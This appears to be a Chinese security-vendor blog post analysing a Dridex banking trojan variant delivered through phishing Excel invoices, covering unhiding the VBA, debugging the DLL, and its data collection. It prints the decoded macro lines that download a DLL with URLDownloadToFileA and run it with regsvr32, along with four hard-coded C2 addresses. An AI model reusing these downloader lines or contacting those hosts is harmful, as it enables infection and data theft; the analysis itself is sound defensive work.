背景概述
网络安全宣传的时候经常都会强调不要随意打开来历不明的邮件或者文件,这又是为什么呢?
因为很多时候一些木马病毒的入侵就是通过钓鱼邮件来进行的,深信服安全团队近期捕获的Dridex木马病毒新变种就是通过这种入侵方式来入侵受害者系统并窃取信息。
Dridex是目前全球活跃且技术比较先进的银行木马之一,其又被称为BUGAT和Cridex,主要目的是从受感染机器的用户那里窃取网上银行和系统信息,进行欺诈性交易,该病毒样本会安装键盘侦听器并执行注入攻击。
Dridex的目标用户是Windows用户,通过诱导用户打开钓鱼邮件附件中的Excel文档,导致宏激活并下载Dridex,从而感染计算机并窃取用户信息。
样本信息
病毒名 Dridex Trojan Variant MD5 36d6caa7639fa761ec5408b1cdc8cad7 SHA256 519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE 样本类型 Microsoft Excel 2007+ 恶意类型
Dridex
入侵流程图:
详细分析
这个样本主要通过钓鱼的方式,伪装成带有伪造电子发票的Excel电子邮件,如果双击附件,Microsoft Office Excel会打开它;
查看我们的电子发票需要去打开宏,但是宏可用于加载其他恶意程序,所以对于一个未知的excel文档来讲,启用宏和打开未知的exe文件一样危险。
如果这个excel含有vba代码:
1、可以点击All-Open and pay 来执行恶意的VBA代码;
2、点击事件的按钮,来触发布局事件(Layout);
查看一下VBA代码:
发现会弹出警告的消息,VBA被隐藏了,可以尝试用EvilClippy去除隐藏属性,安装相应的组件mono。
*EvilClippy介绍:EvilClippy的开源工具,EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性。
解除保护:
EvilClippy.exe -uu macrofile.doc
直接解除保护查看:
直接可以看到相应的代码:
可以大概知道A720-A1008有编码的URL列表,由于字体颜色是白色的,可以调整一下便于查看;
直接调试vbs代码:
发现解码IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),
继续下断调试;
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;'$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;'$.",0,0)
整理一下:
IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE))
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr32"," -s C:\;\'\$.",0,0)
在URLDownloadToFileA开始下载东西;
以上的过程是将随意的URL下载到本地的文件中去,文件名字随机,记录一下这几个网站然后去比较一下下载的dll文件MD5值,发现这几个文件的MD5值是一样的。
可以看到变量是我们看到的文件夹,路径 C:\cEACqJVb\D6dpWrT\26bKqTf
最后可以看到使用一个命令 -s regsvr32下载文件,直接cmd process查看一下进程;
查看process tree 可以知道利用了execl去作为Dridex下载器,病毒直接调用了dridex中的一个方法,regsvr32为了能够索引到xxx.dll后创建组件,调用了函数DllEntryPoint完成组件的注册。
我们可以看到下载的文件也是一个dll的格式,符合上面的regsvr,尝试直接用od附加进行调试DLL,查看一下导出函数;
或者也可以直接用OD中的插件loaddll 直接调试。
直接bp LoadLibraryExW 找到那个dll文件(如果不知道断那个LoadLibrary可以ExW ExA A W都下断,f9进行分析);
参数这里写我们的dll位置,定位查看;
直接定位到位置后下断点,重新执行到该断点的位置,
可以直接停在这里分析,类似一个解压缩的过程,最后的地址加载到EAX中,进行跳转;
执行后,解密提取PE文件到可执行内存空间,类似于正常PE的拉伸的一个过程;
发现以下可疑点:
正常来说恢复现场应该是pop,但是这里用了push edx 加上 retn = jmp edx,相当于调用了Dridex核心的部分;
每一个dll文件都会提供一个导出功能,这里regsvr32调用了GetProcAddress从Dridex中获取了export:DllRegisterServer,主要查找导出函数的地址,几乎所有的恶意操作都在DllRegisterServer中,相当于执行了恶意操作的主函数main;
在这个DllRegisterServer函数中,Dridex从终端获取信息,发送到一个服务器,它获取自身电脑的用户名和完整的计算机名,然后从注册表中读取Windows安装时间,将获取的信息放在一起,加密成MD5。
数据长度+计算机名称+ MD5值,他会获取我们计算机注册表中,所有已安装的软件注册表信息。
例如经常玩的wegame:
用的一些工具wireshark:
*Roaming文件夹是用于存放一些使用程序后产生的数据文件。
将收集到的信息传送到一个服务器上
以下四个地址是硬编码写入的,用来发送收集到的终端数据资料。
31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33 199.66.90.63:443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36 51.68.224.245:46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39 85.214.26.7:3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39 107.175.87.150:3889
总结
该恶意程序通过垃圾邮件进行分发,会对银行以及公司造成很严重的后果,虽然Dridex病毒很久没有大量出现,但是一旦感染,会导致计算机内大量的数据泄漏,所以我们也要去做好相应的防范措施,避免这种事情的发生。